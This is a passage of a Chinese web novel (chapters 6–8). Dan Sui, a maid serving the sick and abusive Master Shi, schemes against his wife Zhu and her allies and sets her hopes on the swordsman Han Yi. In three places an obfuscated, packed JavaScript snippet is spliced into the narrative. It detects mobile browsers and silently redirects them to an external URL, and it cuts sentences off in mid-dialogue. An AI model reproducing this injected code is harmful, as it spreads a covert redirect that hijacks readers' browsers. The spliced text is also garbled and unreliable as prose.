丹穗拿帕子擦干眼泪,借眼泪擦去手腕上的血痕。 有他这番话,丹穗的目的就达到了,她不求李大夫站在她这边,只望关键的时候,他能心软给她透个口风。 走出护卫院,丹穗看见九姨娘从石园里出来。 “九姨娘,你来逛石园?”丹穗迟疑地问。 “我来找李大夫配几副药,老毛病又犯了,看样子要变天了。”九姨娘苦笑。 丹穗的目光落在她手上,听闻九姨娘是平江本地人,家住西施洞附近,其母以浣纱为营生,她自幼帮忙,四季不歇,日积月累,手上就落了寒症,每逢变天手关节就发疼。 “我刚找李大夫扎了几针,他还给我扎出血了。”丹穗不好意思地笑笑,意在解释她哭红的眼圈,她玩笑说:“姨娘你可别找他扎针,他今天手不稳。” “听你的。”九姨娘淡淡应一句。 二人错身而过,丹穗余光掠过九姨娘的脸,可能是没生养孩子,她年近四十,脸蛋光滑依旧,幼时受的苦没在她脸上留下纹路。 回到屋里,丹穗在脸上敷一层铅粉,换回早上穿着衣裳,她前往议事堂。 “老爷可醒过?”她低声问。 “醒过,又敲晕了,这会儿平静下来了,估计能睡到黄昏。”韩乙从圈椅上起来,说:“接下来没我的事了,你们守着吧。” “对了,等施老爷醒过来,你跟他说想叫我给他守夜,夜里换个小厮来伺候。”韩乙大步出门,交叉在后腰上的手却勾了勾。 丹穗一脸疑惑地跟出去。 “半柱香前,一道脚步声去过护卫院,之后又拐回石园。”韩乙迅速说一声。 话落,他潇洒离去。 6.绝路 石园通往轿厅的月亮门外有两个下人值守,一丫鬟一小厮,他们二人日常负责跑腿的事,多数时候是听丹穗使唤。 “小玉,九姨娘刚刚是从这个门进来的?”丹穗问。 “九姨娘?没见过九姨娘,她是从靠近花园的甬道过来的吧。”丫鬟摇头,头上的珍珠发钗跟着晃动。 丹穗多看一眼,这等水色的珍珠发钗她也有两支,是一年前施老爷在外行商时带回来的,她挑走两支,余下的都送去主院由朱氏分给妾室,这会儿却出现在一个粗使丫鬟头上。难怪薛大娘信誓旦旦地说施老爷不会知晓今天的事,守门的下人都已经被收买了。 “丹穗姑娘,还有事吗?”小玉问。 “没。”丹穗转身走了,看来韩大侠口中从甬道那边去护卫院的人就是九姨娘,不晓得她听去了多少,又会不会在朱氏面前告状。 丹穗回到议事堂,她踏进门看见薛大娘的背影仓促地溜进内室,一看就有鬼,她径直走向长桌。 “丹穗姑娘,你来看看老爷是不是要醒。”薛大娘大声喊。 丹穗瞥一眼长桌后装账本的木箱,她转身前往内室,内室的窗子紧闭,里面充斥着浓郁的脂粉香,熏得人头疼。 “晌午了,三位姨娘请回吧。”她捂一下鼻子,瞅着薛大娘说:“你下次再领人来让她们不要涂脂抹粉,老爷是病了,但鼻子还是好的,这个味让我如何解释?” 薛大娘不甘心离开,她好不容易有个接近账本的机会。 二姨娘暗暗掐施老爷一把,喊:“老爷要醒了。” 在薛大娘看过来时,她迅速离开往外走。 施老爷含糊地支吾两声,屋里的几人吓得险些魂飞魄散,三姨娘和四姨娘慌张离开,薛大娘顾不上仔细看,她也慌慌张张小跑出去。 丹穗迅速打开窗子通风,她正琢磨着要不要请韩大侠过来再把人打晕,就见床上的人没动静了。 没醒过来,吓死她了。 丹穗拍拍胸膛,她拿件衣裳搭施老爷头上遮风,之后去外室检查木箱。木箱里的账本塞得混乱,不是她昨天摆放的样子,好在账本是够数的,没丢失。 担心账本在自己手上被偷走,丹穗抱着木箱出门去找王管家。 月亮门外,小玉去吃饭了,只有小厮宝柱守门。 “你去老爷身边守着。”丹穗吩咐。 然而她前脚出轿厅,宝柱后脚就跑去主院报信,朱氏和施六姑娘正在吃午饭,听到消息她气得摔碎个碗。 薛大娘赶走厅里伺候的人,她上前压低声音说:“太太,依我看,那贱皮子只是表面上对我们服软,她八成还指望着等老爷死了去大爷身边做事,估计不会被我们收买,您想从她那儿拿到老爷的私账不容易。” “我看不出来?还用你说?”朱氏怒火攻心,这会儿见谁都不顺眼。 薛大娘老脸一讪,不吭声了。 “娘,您冲薛大娘发什么火。大娘你下去吃饭吧,这儿有我。”施六娘开口缓和气氛,等薛大娘走了,她拉下脸指责:“娘,你收着脾气吧,薛大娘也没说错什么,你骂她做什么,你还指望她替你收买人心呢。” “行了,你们一个个都来管束我,我还要看你们脸色做事了。”朱氏满心不痛快,她强压下火气,说:“你大哥再有一个月就回来了,你爹那样子谁晓得他还能撑多久?你说我哪能不急?等施继之回来了,前院还有我插手的份儿?” 施六娘舀碗鱼汤放她手边,宽慰说:“急也没用,娘,你先吃饭。” “给你姐写封信通知一声,择个日子,你二哥会去她婆家接她回来住些日子。她跟丹穗有一起念书的情分,她主意也多,看她能不能说服丹穗。”朱氏捻着勺子搅了搅鱼汤,想起施继之那个人,她哼笑道:“你大哥不愧是你爹的种,父子俩一个德性,一闲下来就往女人被窝里钻,荤素不忌。丹穗最好识趣,她要是眼瞎撞进他手里,不用我动手就有她的好日子过。” 施六娘闻言,尚还稚嫩的脸上浮现媚俗的笑,看上去滑稽又荒唐。 当娘的说话不避讳,做女儿的也没觉得不对劲。 施老爷往后宅塞的女人太多,朱氏一开始疲于应对,后来习惯了,勾心斗角成了她的日常,跟着她长大的施六娘听惯了后宅阴私事,虽还年幼,但对男女之事已了然于心。 母女俩幸灾乐祸一通,朱氏消气了,她喊来薛大娘好言好语地赔个不是,再赏几个好菜,这事便过去了。 “太太,账本被送走了,我下午可还安排姨娘去前院伺候?”薛大娘问。 “去,怎么不去,只要老爷昏着,你就带人去伺候。”朱氏说。 “那岂不是便宜了丹穗?我看她不见得乐意伺候老爷。”薛大娘说。 “便宜不了,老爷不是还有醒着的时候。”朱氏坐在镜屏前看着镜中苍老的自己,她抚着脸说:“你送姨娘过去伺候的时候在那儿盯着,让她们细心伺候,可别偷懒。” “是所有姨娘轮着来还是……” “轮着来,你看着安排。” “轮着来的话,我担心会走漏风声,二姨娘、七姨娘、八姨娘膝下有三爷、四爷和五爷,他们在外替老爷做事,见老爷的机会多,不受我们控制。”薛大娘迟疑道,“再一个,大奶奶也快从娘家回来了,我担心到时候瞒不过去。” “瞒不过去就不瞒,我和姨娘们关心老爷有什么错,错的是丹穗啊,是她背主。”朱氏大笑,镜中女人脸上的颧骨越发高耸,她敛了笑,拿帕子遮住镜屏。 薛大娘看见她的动作,她立马垂下眼,奉承道:“原来太太是打着这个主意,太太英明。老爷一旦怀疑她,她去不成大爷那里,只能倒向我们。” 朱氏莞尔,“你这个老货可把嘴闭紧了。” “太太放心,我这张嘴就没出过岔子。您歇着,我去前院探探情况。”薛大娘高兴地走了。 …… 施老爷还在昏睡,薛大娘领着上午在这儿伺候的三位姨娘过来时,丹穗正在给他喂鸡汤煨的小米粥,来了三个帮手,这活儿立马被她们接手。 “这儿有我盯着,丹穗姑娘忙你的去吧,不过你也别走远,老爷一醒就由你接手。”薛大娘好言好语地说。 丹穗纳闷,她把账本送走了,朱氏没发火?这老货竟也没找茬。看样子九姨娘也没去告状,她悬着的心定了定。 “那就辛苦三位姨娘了,我就在外室看书,有事你们喊一声。”丹穗出去。 * 申时一刻,内室躺着的人发出呓语声,施老爷眼还没睁开,嘴嚷嚷着喊丹穗。 一阵忙乱的脚步声渐行渐远,丹穗坐在床边扶起施老爷,她温声说:“老爷喝点水,您睡好久了。” 一盏温水下肚,施老爷清醒过来,他看向半敞的窗,问:“什么时辰了?” “申时初,您睡了三个时辰。您感觉如何?我去喊李大夫过来?” 施老爷点头。 不一会儿,李大夫和韩乙都来了。 “脉象平稳下来了,老爷感觉如何?”李大夫问。 “脖子疼。”施老爷晃了晃脖子。 “还有呢?跟之前发病时相比感觉如何?”李大夫又问。 “累,昏昏沉沉的。”施老爷喘口气,他仰靠在靠枕上,闭眼说:“累得很,感觉没睡好,眼睛都睁不开。” 韩乙把他昏睡时的情况讲了,他提议说:“你晕过去也还是受罪,要不作罢?趁天还没黑,我这就走。” 施家神神鬼鬼太多,韩乙一个人独处时想了许久,他不想再在施家待下去。 丹穗心里一紧,她忙看向他。 “那不行。”施老爷一口拒绝,“我又没怪罪你,你急什么?我话没说完,晕过去之后的事我完全没感觉,这次醒来没有头疼的记忆,日后发病还是需要你把我打晕。这点不舒服跟发病时的折磨相比,不值一提。” 丹穗紧张地盯着韩乙,她忍不住开口挽留:“韩大侠留下吧,老爷这儿还需要你,他发病时你也看见了,你要是走了,他又要受苦。” “你们再请一个吧。”韩乙没有松口。 “再请一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153932|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不一定有您的本事,万一是个不靠谱的,手上没轻没重,我们老爷可就没命了。”丹穗急了,她想不明白上午那会儿还好好的,不过几个时辰,他怎么就生了离意。 “你怎么突然想走?要是有急事,我不为难你,我送你一份盘缠安排船送你出城。”施老爷挑眼看他,他这会儿不复前一瞬的虚弱,面含审视地问:“江湖人士一向重诺,你可别败坏你们的口碑。我恭恭敬敬请你入宅下榻,没有得罪你的地方吧?不过两日,你却出尔反尔,存心戏耍我?韩大侠,韩义士,这可说不过去。” 丹穗不敢吭声,施老爷这是真生气了。 韩乙哑然,心里也生起一丝愧意。他这才正眼看待施老爷,这老头之前如病猫一样躺在床上任后院的女人糊弄,真发起火来还挺震慑人,也是个有能耐有胸怀的,是他小瞧了人。 “是我的过错,还请施老爷见谅。”韩乙抱拳致歉,他寻个借口说:“是我不习惯大宅子里的日子,拘束得紧,这才生了离意。我对不住您的信任,您要是还用得上我,我继续留下,等您赶我走的时候我再走。” 施老爷露出笑,他倒回靠枕上,说:“原来是这样,这不要紧。我待会儿吩咐管家带你在园里转转,我家四进的宅子占地不小,够你闲逛的。园后还有一条河,修的有埠口,你去钓鱼也成,一早一晚还能买船货。” “老爷,丝行的账房和掌柜来了。”王管家前来禀报,他走进来递上一封信,说:“三爷往家里递了消息,官衙来了新知府,问您怎么安排。” 施老爷接过信放在一边,他打发其他人出去,留丹穗伺候他穿衣洗漱。 丹穗服侍施老爷穿衣,扶下床时,宝柱送来热水。 “水放下吧,你去大厅一趟,半柱香后领丝行的账房和掌柜过来。”丹穗吩咐。 “朱氏上午来过?”施老爷问。 “是,太太知道了二爷铺子里的事,她跟我打听您的反应,怕您对他失望。”丹穗交代,她朝窗外瞥一眼,留意到宝柱在一方太湖石后偷听,担心施老爷会说出什么不好听的话,她迅速换个话题:“也不知道韩大侠怎么想的,我们这儿的日子多好,他偏生过不惯。” “我晕过去了还发生了什么事?朱氏什么时候走的?” “您晕过去没一会儿太太就回后院了,在她离开后,李大夫也走了,余我跟韩大侠守着您。晌午那会儿您平静下来后,韩大侠也回护卫院了,这期间没发生什么事。”丹穗边交代边给施老爷擦脸,借着拧帕子的功夫,她朝窗外看一眼,石雕后没人了。 “对了,韩大侠交代我跟您提一下,要是还用他守夜,您夜里换个小厮来伺候。”丹穗趁机提起这事,她玩笑说:“看来韩大侠挺洁身自好,不喜欢跟女子共处一室。” 她一转身,对上一张透着青灰色的老脸,一双老眼渗着阴恻恻的光,她吓得扔了帕子,险些叫出声。 施老爷盯着她花容失色的脸,见她强扯出笑,他退一步坐了回去,“我吓到你了?” 丹穗心慌意乱地捡起帕子,她讷讷解释说:“没有……差点撞到您。” 施老爷“嗬嗬”笑几声,“刚刚说什么来着?韩大侠?你对他印象挺好,比我还舍不得走,莫非是相中他了?你昨夜是不是对人家做了什么?吓得他又要换小厮一起守夜,又惦记着要走。” 丹穗冷下脸,她抬头看向窗外,起风了,变天了,天井上空是阴沉的天,压得她喘不过气。 韩乙为什么想离开?她刚在他身上看见一丝希望,他毫无征兆地转头泼她一身冷水,她的路似乎又绝了。 “说话啊!怎么不说话!”施老爷恼了。 “您心里不是已经给我定罪了?还会信我辩解的话?”丹穗丢下湿帕子,她一脸麻木地说:“老爷,我八岁来到您身边,十六岁伺候您,再有两个月,我满二十二岁。十四年来,我从未做过对不起您的事,看在我为您鞍前马后的份上,您给我一个痛快,是杀是剐随您。我勤勤恳恳伺候您,您却三五不时地折磨我,我对您忠心,您却一再怀疑我,这日子实在没意思。” 7.拉锯 丹穗攥着一手的冷汗从议事堂出来,她没去见丝行的账房,一个人默默回到自己的屋子。 在她跟施老爷说完那番话后,他沉默了一会儿,开口让她滚出去。 丹穗知道老东西气得不轻,有不甘被她威胁的愤怒,也有审时度势的屈服,但他不会发作,她确定他不会发卖她。 丹穗回到自己屋里坐一会儿,待心绪平定下来,她心里也有了主意,既然不怕死的话已经说出口,姿态也得摆出来。 “丹穗姑娘?”小玉前来敲门,她在门外小心翼翼地试探:“天黑了,你要吃饭吗?还有老爷那里……” “不吃。”丹穗硬气地拒绝,之后对门外的动静一概不搭理。 灯不点,门不开,丹穗摸黑翻出屋里的冷点心饱腹,倒点冷茶水洗去脸上的铅粉,她直接上床睡觉。 一整夜没人打扰,丹穗睡醒暗骂老东西心狠,也不怕她想不开悬梁上吊。 正琢磨着,丹穗听到外间响起敲门声,随之韩大侠的声音传进来:“丹穗姑娘?你没事吧?” 丹穗心里不是滋味,她眼下拿不准他是什么样的人,他性子冷淡,却可怜她、意图帮她,可打算离开的心也是真的。 “丹穗姑娘?你再不出声我撞门了。” “醒了。”丹穗从床上坐起来,她看向外间,说:“马上出去。” 韩乙大松一口气,他今早才从昨夜伺候施老爷的小厮口中得知丹穗昨天回屋后没再出来,甚至连晚饭也没吃,他担心她出现不测才来叫门。 “没事,我没什么事,你没出事就好。”韩乙解释一句便走了。 丹穗又倒回床上,她想明白了,她于韩大侠来说好比是街头的乞丐,他能给乞丐丢一把铜钱吃顿饱饭、能给乞丐一身避寒的衣物、也能为乞丐挡下富人的驱赶,但不会为救乞丐改变自己的生活,于她也是。 她唯一能肯定的是他是有善心的人,所以会可怜她,但在她之前,他帮助过许多可怜的人,而他如今依旧独身一人浪迹江湖,没为谁停留过。 想明白了,丹穗心里有了清晰的目标,就他了。他武艺高强,能带她私奔,还能在这乱世保护她;居无定所,不用顾虑街坊邻居的闲言碎语,只要他喜欢她,便不用考虑世俗约上。没有比他更合适的男人了。 接下来她只有一个目标,就是让他舍不得丢弃她,要让他带她走。 一柱香后,丹穗素面朝天地开门出去,她穿着白色对襟旋袄和沉香色罗裙,素净的颜色衬得脸上红紫色的眼圈越发惊心。 丹穗朝练武的人看去一眼,很快便垂下头快步离去,朦胧的水雾模糊了她的身形,让她看上去更加单薄细长,似那田埂上的蒲草,在深秋枯得发黄发脆,只需轻轻一碾就碎了。 韩乙想了想,等丹穗提热水回来,他走过去问:“你出什么事了?” “韩大侠对谁都这么好心吗?”丹穗没看他,她苦笑着说:“您别问了,您早晚是要离开这里的,您能帮我一时,帮不了我一世。” 说罢,她绕开他走进屋关上门。 等丹穗梳洗干净再出来,门外没人了,石园里也没人,她朝对面议事堂看一眼,径直离开石园,顺着南甬道去大厨房吃早饭。 她离开不到一盏茶的功夫,议事堂里响起一声痛嚎,没一会儿跑出来一个捂着脸的小厮,殷红的血顺着指缝往下淌。 “人呢?来人!要你们有什么用,一个个蠢笨如猪,伺候人都伺候不好。”施老爷在里面大骂。 “兄弟,出啥事了?”宝柱拦下跑出来的小厮,不忘催促小玉进去伺候。 “我给老爷喂水,他突然夺了茶碗砸我脸上了。”小厮拿开手,半边脸都是血。 宝柱看得心慌,“你快去找王管家……不不不,你去找李大夫,我领你去。” 小玉见宝柱像耗子一样溜了,她骂他奸诈,他躲了,眼下只能她进去伺候。 “丹穗姑娘?丹穗姑娘——丹穗姑娘你在吗?”小玉大力拍门。 “人都死了?”施老爷披头散发地出来骂。 小玉吓得一哆嗦,她不死心地继续喊:“丹穗姑娘?你快出来啊!” 屋里还是没回应。 眼瞅着施老爷怒气越发大,小玉不得不硬着头皮跑过去,“老爷,丹穗姑娘不在屋里。” 回答她的是一记窝心脚,她摔倒在地时听见一道急促的脚步声赶来,顿时安心了。 施老爷踢了那一脚,他险些也摔个跟头,他气急败坏地骂:“她死了你们也死了?要你们有什么用……管家!把他们都拉出去卖了。” 韩乙赶来就看见这一幕,施老爷穿着一身宽大的亵衣披着花白的长发如一个疯子一样张牙舞爪地骂,浓雾里弥漫着腥气扑鼻的血味。 “施老爷,你这是做什么?”韩乙打断他的话。 正好宝柱带着王管家来了,王管家好说歹说才把人劝进去。 他把施老爷安顿好,出来问:“丹穗姑娘呢?” “没在屋里,不晓得去哪儿了,半个时辰前还见她去小厨房提水。”小玉捂着心窝回话。 “丹穗姑娘好像在跟老爷怄气,她昨晚都没出来吃饭,这会儿不在屋里估计去吃饭了。”宝柱斟酌着说。 王管家喊声姑奶奶,忙安排人去找丹穗,他则新挑两个下人跟他一起进屋伺候。 宝柱找去大厨房时,厨房的人说丹穗已经离开了,他按着他们指的方向找过去,没找到丹穗,但遇到红缨来给朱氏提饭。 不多一会儿,朱氏知道了前院发生的事,她饭也不吃了,立即带上几个姨娘去前院伺候。 * 早上雾大,风也冷,这会儿没人来逛花园,只有丹穗一个人在里面走来走去,椭形的湖上有一架拱桥,她站在拱桥上往湖里看,湖面看不真切,但鲤鱼打挺的浪花声清晰可闻,她扯下菊花瓣撒下去,鱼尾拨水的声音越发响亮。 “丹穗姑娘?”有人站在花园外喊。 丹穗回头,花园的围墙隐在雾里,她看不清南边的拱门,门外的人自然看不见她,她转过头没有应声。 脚步声离去,丹穗从拱桥上下来,海棠花开得正艳,她过去掐两朵别在耳鬓上。 听见说话声传来,她蹑手蹑脚绕去花架后面藏起来。 两个拎饭食的婢女走远,丹穗从花架后面走出来,她继续慢吞吞地逛花园。 屋后的河面上传来叫卖声时,丹穗离开花园去主院,从主院穿行到连通后门的甬道上。 施老爷没病重之前,丹穗经常陪他乘船出门,后门的门房认识她。 “丹穗姑娘,好久没看见你了。”门房龚叔打招呼,他拉开笨重的木门,问:“你是乘船出门还是就在埠口买东西?” “就在埠口看看。” “那你可别走远,就在附近看看,听说胡虏打过来了,这段日子进城的人多,乱着呢。”龚叔好意嘱咐。 “胡虏打过来了?打到哪儿了?”丹穗问。 “说不准,我也是听船家说的,这日子过得提心吊胆的……”龚叔一脸的忧色。 丹穗走出门,她一露面,埠口停留的船家纷纷招呼她。 “姑娘,府上买不买藕?我这船藕是我儿子半夜去挖的,泥还没干,新鲜的很,府上买不买?”撑船的老翁问。 “姐姐买点吧,我家的藕是甜的。”船翁的小孙女趴在船边喊。 “姑娘,来看看香囊。” “……脂粉脂粉,临江府新出的脂粉。” “蒸饼嘞,新出炉的蒸饼——” “船家,来五个蒸饼。”河上游,一个仆妇站门口喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160878|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 卖蒸饼的船家立马撑船离开埠口,卖藕的船也跟上去,继续寻找买家。 丹穗拾着石阶一步步往下,靠近水面时,她探着腰看向卖脂粉的船,“船家,你这脂粉真是从临江府进的货?” “一点不假,这是贾氏船行运回来的货,前些日子跟咱们新知府一起进的城。小娘子,你看看你要……呦!你眼睛怎么了?哎呀!你试试这盒新脂粉,敷上粉看不出一点痕迹。” 丹穗打开脂粉盒看一眼,问清价钱后,她从头上拔下一根银簪递过去,说:“剩下的脂粉我都要了。” 来桩大生意,船家娘子高兴得合不拢嘴,丹穗趁机跟她打听外面的情况。 “听说胡虏要打过江了,朝廷在跟对方议和,具体的就不清楚了。”船家娘子把货送到埠口上,她看一眼丹穗,心里嘀咕着富人家的日子也不好过,多好看的姑娘,可惜瘦伶伶的,人单薄得快要经不住河上的风,眼睛上不知道是被主子打出来的还是怎么着。 丹穗又跟船家娘子聊了会儿,直到打听不出什么了,她才搬起半箱脂粉回去。 木门一关,寒冷的风似乎也关在门外,丹穗身上暖和了些,她抱着木箱顺着甬道离开,中途拐去姨娘们住的走马楼。 丹穗在下人们眼皮子底下穿梭,但没人再来寻她,她便一直待在走马楼,晌午饭也留在这儿吃。 饭后,天上落雨了,丹穗上楼站在窗前远眺,细密的雨丝模糊了视线,远处白茫茫一片。 落了雨,天更凉了,姨娘们各回各屋睡觉,走马楼里静了下来。 丹穗在阁楼上站了许久,直到身上凉透了才关窗下楼。她穿梭在阴暗的屋檐下,行走在空荡荡的甬道上,独身跨过昏暗的轿厅,冒雨跑进石园。 秦姨娘站在廊下跟韩乙说话,见丹穗进来,她招手喊:“丹穗你去哪儿了?快去老爷旁边守着。” 丹穗步子一顿。 “快过来。”秦姨娘冒雨出来拉她,她低声骂:“你要死啊?认不清自己的身份?你闹什么?你是奴才不是主子。” 丹穗顺着秦姨娘的力道走进议事堂,内室不止施老爷在,还有八姨娘和九姨娘,施老爷躺在床上,两个姨娘一个吹笙一个唱曲。 “老爷,丹穗姑娘回来了。”秦姨娘低声说。 施老爷看都没看她,他讥讽地说:“还没死?我还当她跳河淹死了。” “我又没偷男人,沉塘也轮不着我。”丹穗呛回去。 屋里一静,三个姨娘面面相觑,韩乙也为她捏一把汗。 施老爷陡然不生气了,丹穗这个劲劲的样子才有意思,之前那副死样碍他的眼。他就喜欢一点一点打压她,欣赏她一寸一寸低下头弯下腰,再在压得跪趴在地时猛地反抗。若是哪天她再也站不起来了,沦落成一个没骨头没傲气的人,她也就没用了。 “滚出去吧。”施老爷施施然道。 丹穗挣脱秦姨娘的手转身就走,路过韩乙身边高高扬起头。 屋里的笙声、曲声又起。 …… 之后的几天丹穗继续闲逛,没人摸得透施老爷的心思,他没发话,也就没人管她,随着她在施园进进出出。 这天早上雨停了,丹穗离开石园去埠口,她包下一艘渔船,让船家夫妻俩带她一起撒网捕鱼。 一个时辰后,丹穗从船上下来,她买走打捞上来的鱼,让门房给大厨房送去,她则带着一身的湿气和鱼腥味回到石园。 施老爷站在廊下,见丹穗一身狼狈地进来,见到他还立马扭过头,他拉下脸说:“给脸不要脸?过来伺候。” 一场拉锯又结束了,丹穗看一眼四四方方的天,她早晚有一天会逃离这个宅院。 “换了衣裳就过去。” 韩乙无声旁观,她比他想的要坚韧。 8.无妻儿,不成家 “什么?你是说丹穗又回到老爷身边伺候了?”朱氏一脸震惊地问,“她没受罚?” “没有,听说就挨了句骂。”薛大娘回话,“今天过去伺候的姨娘也被老爷打发回来了,不让她们再过去。” 朱氏气得闭上眼。 “丹穗给我爹下了迷魂药不成?我们家这么多伺候的人都比不上她?”施六娘纳闷,“丹穗给他甩好几天脸子,他就这么受了?” “男人就是贱,送到嘴边的不稀罕,就喜欢远着他吊着他的。”朱氏恨恨道。 施六娘若有所思。 “还没打听出来他俩怄气的原因?”朱氏又问。 “打听不出来,李大夫说当天王管家送信过来,老爷只留下丹穗,其他人都打发走了。当时屋里只有老爷跟丹穗两个人,守门的下人也没听见争执的声音,到了晚上不见丹穗的人影才发现苗头。这几天姨娘们在老爷那儿没探到话,丹穗板着一张死人脸也不肯说。”薛大娘详细解释,免得朱氏怪她办事不力。 朱氏暗骂一声废物,摆摆手让薛大娘下去。 “以后老爷要是晕过去了,还让不让姨娘们去守着?”薛大娘请示。 “去,怎么不去。” 薛大娘得到指示,她去前院通知守门的下人,施老爷一晕过去立即去后院报信。 “大奶奶回来了。”守前门的门房一溜烟跑进来报信。 轿厅北边跨院住着施大爷一家,院里的下人听到声,忙去前门迎接。 薛大娘去后院报信。 半个时辰后,大奶奶陈氏牵着孩子走进石园,丫鬟婆子都留在石园外面。 “大奶奶。”丹穗迎上来行礼。 陈氏一把握住丹穗的胳膊,她客气地说:“丹穗姑娘不要多礼,我从娘家带回些特产,待会儿你随我过去拿。” “谢大奶奶还惦记着我。”丹穗笑着说,她伸手牵住瑞哥儿的手,说:“小少爷可算回来了,你祖父天天念叨你,快随我去见他。” “去吧。”陈氏松开手,她落后一步问:“老爷身子如何?我听下人说王管家请了个刀客回来,每逢老爷发病就把他打晕,可有这事?” 丹穗点头。 施老爷坐在外室的圈椅上,见孙子进来,他招手说:“瑞哥儿过来,让祖父看看你。” “爹,您老身子可好?”陈氏跟进去问。 “还是老样子,你爹娘可还好?你娘的病好了?” “好些了,多少能吃些饭了。”陈氏落座,说:“我爹娘让我代他们跟您问好,等入冬了过来探望您。” 施老爷摆手,“都老了,不比年轻的时候,出一趟远门能折腾掉半条命,不用讲那些虚礼。” 陈氏于一个多月前回娘家就是她娘病了,病得起不了身,饭都不吃了,她爹托人捎来消息,让她赶紧回去见一面。当时大爷施继之还在家,他当即去天庆观请给他爹看病的高僧随船去江宁府,半个月前传回消息,他丈母娘熬过来了。 丹穗瞧一眼施老爷,这会儿面带和蔼,一派好好长辈的样子,殊不知半个月前听到消息,他嫉妒得砸了议事堂所有的瓷器。他自己病入膏肓,嫉恨人家能熬过鬼门关,简直比恶鬼还恶。 翁媳俩又聊了半盏茶的功夫,陈氏提出告辞,她还得去后院拜访继婆婆。 丹穗送她出石园,陈氏一回来她的日子能好过许多,朱氏对上这个未来掌家的儿媳妇,有个什么动作都得收敛着。 丹穗以为能过上消停日子,却未曾料到,过晌没多久,施三娘回来了,也就是朱氏的大女儿,一同回来的还有陆承一家四口。 施三娘和陆承夫妻俩来石园时,施老爷因发病昏睡过去没多久,韩乙守在内室,丹穗坐在廊下的美人靠上看天井上空掠过的鸟雀。 听到月亮门外的行礼问好声,丹穗回过神,她起身迎上去。 “三小姐,您今天回来的?姑爷和孩子们可来了?”丹穗上前问好,“给二爷二奶奶问好,今天是个好日子,大奶奶也回来了,今儿可真够热闹的。” 施三娘看见丹穗的模样,眼里闪过一丝晦暗,她要笑不笑地说:“还是我爹会养人,瞧瞧,你越发惹人怜了。” “三小姐真会说笑,我瘦得快成一把骨头了,老爷病得厉害,我愁得吃不进睡不好。”丹穗忍着恶心笑着说,她侧过身请人屋里坐,“老爷昏睡过去了,一时半会儿醒不来,你们要不要去看看。” “进去看看。”陆承带头进去。 韩乙从议事堂出来,他朝来人点了点头,跟丹穗说:“我就在角亭里,有事你喊我。” 丹穗点头。 “这是?”施三娘的目光追着韩乙不放,她娇笑道:“这是哪支的亲戚?我竟没见过。” 二奶奶嫌恶地别过眼,施家老少这好色的毛病真是一根藤上结的果,谁也不比谁弱。 “从外头请来的刀客,负责在老爷发病时打晕他。”丹穗见韩大侠理都不理,她开口解释。 一直到韩乙走进角亭,帷幕遮住他的身形,施三娘才恋恋不舍地挪开目光,这才想起去探望她老爹。 屋里关着窗,还有屏风遮挡着,内室光线昏暗,气味也不怎么好闻,陆承夫妻俩进去看两眼就出来了。 施三娘走到床边喊两声,见施老爷没反应,她也转身离开。 “你在屋里好好伺候。”施三娘吩咐,“对了,那个刀客叫什么?年纪多大了?” “韩乙,不知年纪。”丹穗回答。 陆承觉得奇怪,他跟着问:“这人哪儿来的?什么时候来的?” 丹穗见施三娘步入石园,看方向是朝角亭去的,她摇头说:“老爷也没问出他是哪儿来的,您要是有兴趣亲自去问吧。” 陆承没兴趣,他看丹穗一眼,问:“你眼睛怎么了?” 二奶奶杜氏咳一声,脸色瞬间变得难看。 “屋里好像有动静,我进去看看。”丹穗避进屋。 “陆承,你恶不恶心?轮得着你在这儿关心你小娘?”杜氏是体面人,她压低声音骂。 “我就问一句怎么了?你能不能别这么刻薄?”陆承不耐烦。 “我刻薄?你心里揣着什么肮脏心思你自己清楚。”杜氏被恶心得不轻,她一眼都不想多看眼前的男人,气得扭头就走。 韩乙断断续续听完了下面的对话,他扭头问凑上来的妇人:“丹穗姑娘是施老爷的小妾?” “称不上,暖床的罢了。怎么?你也惦记上她了?”施三娘的脸色顿时不好了。 韩乙厉眼瞧她,眉眼间不乏厌恶,施三娘挂不住脸,一向只有她看不起人的时候,什么时候轮到别人用这个眼神看她了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164184|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “什么东西,给你三分颜色你还开上染房了。”施三娘输人不输阵,她上下打量他一圈,面朝着议事堂哼笑道:“你也只有一副身板有点看头,真当自己是个玩意儿了?话说回来,丹穗那不要脸的还真有几分本事,是个男人见了她都心痒痒。” “你男人也心痒?”韩乙一击即中。 施三娘当即冷下脸,撂下一句“走着瞧”,便气冲冲走了。 韩乙撇下眼,他拍拍袖子,真够晦气的。 “韩大侠,老爷挣扎着要醒,你快来补一手刀。”丹穗隔着窗喊。 “来了。”韩乙顺顺气,他大步下来。 